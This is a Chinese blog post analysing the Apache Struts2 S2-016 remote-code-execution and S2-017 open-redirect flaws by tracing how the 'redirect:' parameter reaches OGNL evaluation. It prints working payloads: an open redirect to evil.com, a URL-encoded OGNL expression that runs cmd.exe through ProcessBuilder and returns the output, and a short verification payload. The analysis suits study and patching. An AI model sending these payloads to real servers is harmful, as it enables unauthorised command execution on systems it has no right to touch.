前言
由于S2-016、S2-017出现的原因时相同的,只是由于poc不一样,造成了不同的攻击。S2-016是RCE,S2-017是开发型重定向漏洞。这里将两个漏洞放一起分析。另外“Struts2系列起始篇”是我整各系列的核心,希望大家能花些时间先看看。
正文
在起始篇中我们讲到过,Struts2在StrutsPrepareFilter中通过DefaultActionMapper.getMapping获取action对应的action mapper时会调用handleSpecialParameters对请求的url后面的特殊参数做判断。跟进getMapping函数
跟进handleSpecialParameters方法:
在362行处,prefixTrie实际上就是一个类似Map<String,Object>的数据结构(具体实现不重要),在DefaultActionMapper的构造函数中就已经初始化了prefixTrie。
可以看到prefixTrie有资格key,分别是method:、action:、redirect:、redirect-action:。当请求参数中有这四个参数中的某一个时,将会调用对应的value(一个ParameterAction)的execute方法。我们看一下官方的介绍,可以知道action:、redirect:、redirect-action:这三个是有问题的。
我们选择其中的“redirect: ”跟进对应的execute方法就好了
方法内先是创建了一个ServletRedirectResult对象,然后调用ServletRedirectResult的sertLocation方法设置跳转的url(可以看到是用的url后面的redirect参数分割后赋值的,假设我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx",那么action mapper的location就是”xxx“),最后将该ServletRedirectResult放入action mapper中,到这里两个漏洞的source点就分析出来了。
我们在第一篇文章中讲过,在Dispatcher.serviceaction()执行action前都会判断actionmapper中是否有result属性,有的话将调用result的execute方法而不会进入action中了。
由于这里分析起来较为麻烦,也难以说清楚,我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx"后直接debug
F5步入,发现先是进入了StrutsResultSupport的execute方法,这是因为StrutsResultSupport是ServletRedirectResult的父类,而ServletRedirectResult自己有没有实现execute方法。
方法中先是调用conditionalParse解析location,再调用ServletRedirectResult.doExecute进行真正的跳转。跟进conditionalParse方法中:
继续F5步入进入TextParseUtil.translateVariables方法中,发现其调用了translateVariables,其中初始化了一个char[]是”%“和"$",这是方便后面识别表达式(S2-027中就是因为ActionSupport类中的getText方法调用了此方法导致ognl表达式执行,ActionSupport是所有Action的父类,后面将不再分析此漏洞)
继续跟进:
方法很长,但是内容很简单,大致就是判断location是否是表达式,如果是则进入stack.findValue(),由于这里我们的POC中location是”xxx“,所以我们进不去,先不管,之后我们改下poc再进这个方法中看看。回到StrutsResultSupport的execute方法中,这个时候我们知道了原来conditionalParse解析location就是判断location是不是ognl表达式,然后进入了ServletRedirectResult.doExecute方法中
OK!到这里,S2-017这个开放型重定向漏洞就被分析出来了,我们只需改下poc,让location为“http://www.baidu.com”就好了。"localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:http://www.evil.com"
回到之前我们没有进去的代码,现在我们再将poc修改下,让location以”${“开头以”}“结尾,进入循环代码,访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:${xxxx}“,发现后台tomcat报错了
这是由于url中不让有特殊字符,需要url编码,这个时候有经验的朋友可能会问:”为什么我以前利用S2的其他漏洞,ognl表达式都没有url编码,照样能用呢?“,我看过其他朋友关于S2-016的分析,也都遇到这个问题了,就是S2-016不编码的poc用不了。
这里我简单的测试了一下并没有得出结论,最开始以为是浏览器识别时发现没有“=”不会自动进行url编码,后来经测试发现压根就不是这样的。不过从上面报出的异常栈中可以看到,请求压根没到struts2,是tomcat报错了,所以我觉得应该和漏洞本身无关。不过貌似不管怎样poc最好还是url编码下吧。。。
将poc修改下,重新访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:%24%7Bxxxx%7D“
debug一下能发现这里的值栈其实是OgnlValueStack,我们在第一篇文章中也讲过,创建值栈时创建的是其默认实现类OgnlValueStack。F5步入:
可以看到表达式参数expr就是”xxxx“,继续跟进ognlUtil.getValue
到这里就可以看到将会执行ognl表达式了。至于为什么,后面会专门介绍OGNL的。现在我们将poc修改成如下”localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D“
访问会提示下载,下载下来打开里面就是执行的代码结果了。
OGNL表达式
其实百度百科就已经说的比较清楚了,看下介绍:
可以看到OGNL就是用来访问对象且可以调用对象的方法的,如果我们能访问ProcessBuilder、Runtime这些对象并调用他们的方法岂不是就可以执行任意命令了。
先看下OGNL表达式的语法:
上面对Ognl表达式的用法做了些简单的介绍,至于为什么Ognl.getValue会执行表达式,这个需要看OGNL源码才型,感觉在这里分析它没有必要。知道了上面这些用法就足以让我们理解poc和写poc了。值得注意的是早期S2的漏洞中使用的POC都是通过
”**@[类全名(包括包路径)]@[方法名 | 值名**“
来获取ProcessBuilder、Runtime这些对象的,后来struts2禁用了静态方法调用,所以大家将poc改为直接new
一个ProcessBuilder或Runtime来执行命令。现在我们将上面的poc url解码后分析下:
${#a=(new
java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe',
'/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
看起来好像代码很多,实际上就是new一个ProcessBuilder对象执行了ipconfig命令,然后将输出结果用io流读取后通过HttpServletResponse返回。也可以使用如下较为简单的方法进行验证漏洞是否存在(记住需要url编码):
${#p=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#p.println("hacker"),#p.close()}
S2-018
这里不打算分析S2-018了,只是简单的提一下,我们分析S2-016和S2-017时是通过跟进"redirect:"这个特殊的参数来分析的,实际上”redirect-action“和”action:“也有问题,其中S2-018就和”action:“相关,看下官方介绍:
大概意思就是通过指定”action:“可以越权,由于漏洞影响不大,我没有分析它,感兴趣的小伙伴可以自行跟进
修复方法
S2-016、S2-017、S2-018影响范围在Struts 2.0.0 - Struts 2.3.15.2 。Struts 2.3.15.3的版本中已经将这三个特殊参数都删除了
参考文章
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins